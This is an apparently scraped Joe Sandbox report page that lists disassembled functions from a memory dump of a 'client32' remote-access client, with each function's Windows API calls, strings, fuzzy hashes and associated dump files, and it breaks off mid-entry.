Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AddressCloseEnvironmentExpandOpenProcQueryStringsValue
String ID: hhctrl.ocx
API String ID: 1060647816-2298675154
Opcode ID: a3853af9b5ec3e1502db0b4bafb9ef45656db84a0f437c905b28bfddd73cca6c
Instruction ID: 21cf1aba31526e8ead5fc6aa4b71c903af58d6e9e090c4be98d1d971a6eb0305
Opcode Fuzzy Hash: a3853af9b5ec3e1502db0b4bafb9ef45656db84a0f437c905b28bfddd73cca6c
Instruction Fuzzy Hash: E911663260826B9BDB84DF65C994BDAF7A8EB4B758B41003FE521D3544EB70D844CB92

Function 1108D450 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1108D511

Strings

DeleteTempUdpFile %s, xrefs: 1108D45F
ImpersonateNetworkDrives, xrefs: 1108D4C0
Client, xrefs: 1108D4C5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free
String ID: Client$DeleteTempUdpFile %s$ImpersonateNetworkDrives
API String ID: 269201875-4101313740
Opcode ID: 05528c00b0d83c48d48905ab30b2b4a0e282f0399ca056ce22f5845f374b42cd
Instruction ID: f60c2375dc276d5edcc26cf4931ab8b6ca6a05f77776cf6b2942ef3b5d239818
Opcode Fuzzy Hash: 05528c00b0d83c48d48905ab30b2b4a0e282f0399ca056ce22f5845f374b42cd
Instruction Fuzzy Hash: 292163797447019FE714DBA8CC90FA6B3A1BF88B18F240A6CE6698B7C1DA71F840C751

Function 110B91D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62timeCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 110B91EF
MoveWindow.USER32(8D111939,?,?,?,?,00000001,?,?,?,?,?,?,?,?,?,110BA3F5), ref: 110B9228
SetTimer.USER32(8D111939,0000050D,000007D0,00000000), ref: 110B9260

Strings

Max, xrefs: 110B91E0

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InfoMoveParametersSystemTimerWindow
String ID: Max
API String ID: 1521622399-2772132969
Opcode ID: dd270aeb1ce9957f205ba7153b0c8123e734f44cde7feed230d9f6d1d20fe2b6
Instruction ID: cbc035c590c08491bc6b7e29ca505f880cfdd662cf6ac53e8412c44867f4f71a
Opcode Fuzzy Hash: dd270aeb1ce9957f205ba7153b0c8123e734f44cde7feed230d9f6d1d20fe2b6
Instruction Fuzzy Hash: EA2130B5A40309AFD714CFA4C885FAFF7B8FB48714F10452EE95597380CA70A941CBA0

Function 110ED6D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57registryCOMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 110ED6F2

Part of subcall function 11164459: _xtoa@16.LIBCMT ref: 11164479

RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,?,00000000,nsdevcon64.exe,11194244,?,?,?,?,?,?,110FF66A), ref: 110ED717

Strings

Error %d setting %s to %s, xrefs: 110ED729
nsdevcon64.exe, xrefs: 110ED6E4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Value__itow_xtoa@16
String ID: Error %d setting %s to %s$nsdevcon64.exe
API String ID: 293635345-4188669160
Opcode ID: fbf5e33a9e8abcc9bdfe13103256e276cfb5ec8c5f3b3f6bc8aaed6c48983a06
Instruction ID: 80875a4f71977fcf23e77d00b478b719a3ceeb1732ea917463692c61b0fe7ef6
Opcode Fuzzy Hash: fbf5e33a9e8abcc9bdfe13103256e276cfb5ec8c5f3b3f6bc8aaed6c48983a06
Instruction Fuzzy Hash: 2C016D75A01219ABD714DA699C89EEFB7ACEB49708F104199F944A7240EA72AE0487A0

Function 1115F4E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1115F4EF
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 1115F511
TrackPopupMenuEx.USER32(?,?,?,?,00000000,?), ref: 1115F53D

Strings

0, xrefs: 1115F503

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$InfoItemPopupTrack_memset
String ID: 0
API String ID: 841834121-4108050209
Opcode ID: 831e81e5ad380a982040b351cb416d00d0ecec362e96fad05f44ad6f581621aa
Instruction ID: 11b0bbd5124b4240e378f9f2873e2e4f909fb166035a0611f634cf73ad8dba36
Opcode Fuzzy Hash: 831e81e5ad380a982040b351cb416d00d0ecec362e96fad05f44ad6f581621aa
Instruction Fuzzy Hash: 23014BB1920219ABEB04DF94DC49FEFB7ACEB48315F004109F914A7180D3B0A910CBE5

Function 110ED0F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110ED118

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

IsWindow(hRich), xrefs: 110ED129
lpNmHdr!=0, xrefs: 110ED103
..\CTL32\NSWin32.cpp, xrefs: 110ED0FE, 110ED124

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessWindowwsprintf
String ID: ..\CTL32\NSWin32.cpp$IsWindow(hRich)$lpNmHdr!=0
API String ID: 2577986331-1331251348
Opcode ID: 0130043435edc3a22456987cf30c2144a781c09618dcf41b74824cb74998b838
Instruction ID: a6e56e2616b3f757a7bedb7841b960acd04ffc41865bfa7298ab7df9715bb4c1
Opcode Fuzzy Hash: 0130043435edc3a22456987cf30c2144a781c09618dcf41b74824cb74998b838
Instruction Fuzzy Hash: 85F02735F02126BBC6228E579C09F8EB378CF90BACF0200A4F81C26140E734B51082D5

Function 110813C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 11081417

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\CTL32\DataStream.cpp, xrefs: 110813D4
e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 110813FB
IsA(), xrefs: 110813D9, 11081400

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_freewsprintf
String ID: ..\CTL32\DataStream.cpp$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 2441568934-1875806619
Opcode ID: af1373b32a9bb4e1f8f26d5d02c3c702896290850c3687507677e6fe67b99708
Instruction ID: 32575625ee732fca108261b890e952c9fd6c17214e61566243eaf6e55242290c
Opcode Fuzzy Hash: af1373b32a9bb4e1f8f26d5d02c3c702896290850c3687507677e6fe67b99708
Instruction Fuzzy Hash: D1F0A0BCE086651BD730DE99BC00FCAB7D05F1434CF050498EA8627682DBBA7549C2E6

Function 110EF7A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetDeviceCaps.GDI32(?,0000000E), ref: 110EF7B2
GetDeviceCaps.GDI32(?,0000000C), ref: 110EF7B9

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\CTL32\pcibmp.cpp, xrefs: 110EF7D0
nColors, xrefs: 110EF7D5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CapsDevice$ErrorExitLastMessageProcesswsprintf
String ID: ..\CTL32\pcibmp.cpp$nColors
API String ID: 2713834284-4292231205
Opcode ID: 75b71cda2beea52cdebbc6f16cffef0c1e21f92a9f099c593304bde246b07ca1
Instruction ID: e653e105d1db285baf4aee81a270448f5a93b4716bd0762641d67f3d6a1cba1b
Opcode Fuzzy Hash: 75b71cda2beea52cdebbc6f16cffef0c1e21f92a9f099c593304bde246b07ca1
Instruction Fuzzy Hash: 3CE0D827F4123837F60125FA6C81F86F78C9B857A8F020072FA14BB281D5D16C0046D1

Function 11061140 Relevance: 6.1, APIs: 4, Instructions: 131registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1106117C
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 110611D4
RegEnumValueA.ADVAPI32(?,00000001,?,00000080,00000000,?,?,00000480), ref: 110612C3
RegCloseKey.ADVAPI32(?), ref: 110612D4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumValue$CloseOpen
String ID:
API String ID: 3785232357-0
Opcode ID: 7715bebcec98b19269c8f2ceb66aa64331a88d71416ba02ead887a332bffef31
Instruction ID: e119b506798adee895546c353bca4cd72f80153627c59e78ac85c5ed933e93b3
Opcode Fuzzy Hash: 7715bebcec98b19269c8f2ceb66aa64331a88d71416ba02ead887a332bffef31
Instruction Fuzzy Hash: 14412CB190061E9EDB20CB54CC84FDBBBBDAB89305F0045D9E649D7141EA70AA98CFA0

Function 11035770 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 11035847
__CxxThrowException@8.LIBCMT ref: 1103585C
std::exception::exception.LIBCMT ref: 1103586B
__CxxThrowException@8.LIBCMT ref: 11035880

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$_malloc_memsetwsprintf
String ID:
API String ID: 1651403513-0
Opcode ID: 6f0e1f36f578e83cd105e85a49ea6b71d0d6b11703bbf157c5e2072aa8e65fab
Instruction ID: 68ed5240519e24daba2f358b35ddd0bbb3a90415a2be8f5380ccc9ef311a82ca
Opcode Fuzzy Hash: 6f0e1f36f578e83cd105e85a49ea6b71d0d6b11703bbf157c5e2072aa8e65fab
Instruction Fuzzy Hash: 1F4139B5D00615EFCB20CF9AC980AEEFBF8FFA8604B10855EE556A7250E7716604CF91

Function 110291D0 Relevance: 6.1, APIs: 4, Instructions: 104sleepthreadwindowCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00001000,11027030,00000000,00000000,111ED468), ref: 110291F3
Sleep.KERNEL32(00000032,?,1102A9A3,00000000,?,00000000,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 11029212
PostThreadMessageA.USER32(00000000,00000500,00000000,00000000), ref: 11029234
Sleep.KERNEL32(00000032,?,1102A9A3,00000000,?,00000000,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 1102923C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: SleepThread$CreateMessagePost
String ID:
API String ID: 3347742789-0
Opcode ID: 7f55f862f45cabdbc49d2828a68d0c06d0eeafcbd3f137c249c1e94448b790d1
Instruction ID: 6c329cfe7713c70c74540dd837a6755ec0a493dd99a0e0f492d5b7c5eaff94cf
Opcode Fuzzy Hash: 7f55f862f45cabdbc49d2828a68d0c06d0eeafcbd3f137c249c1e94448b790d1
Instruction Fuzzy Hash: E831D476D42230ABD602DBDCCC80FAABBA8A755758F914134F9395B6C8D6717805CBD0

Function 110B3230 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000002C,59FD48C0,?,?,00000000,00000000,?,Function_00182078,000000FF,?,1103D500,?,?,?,00000000,59FD48C0), ref: 110B325F
LeaveCriticalSection.KERNEL32(0000002C,?,1103D500,?,?,?,00000000,59FD48C0,?,?,00000000,?,00000015,00000000), ref: 110B329F
SetEvent.KERNEL32(?), ref: 110B331A
LeaveCriticalSection.KERNEL32(0000002C), ref: 110B3321

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: fd4f52dacf6346c68deca50a419aba338554c765379c0af81f02942a775e7cd5
Instruction ID: 1c2cd706bfc580d94f6c8d94d17799be7df3d247d13d912ddb644fcd1bc25a9e
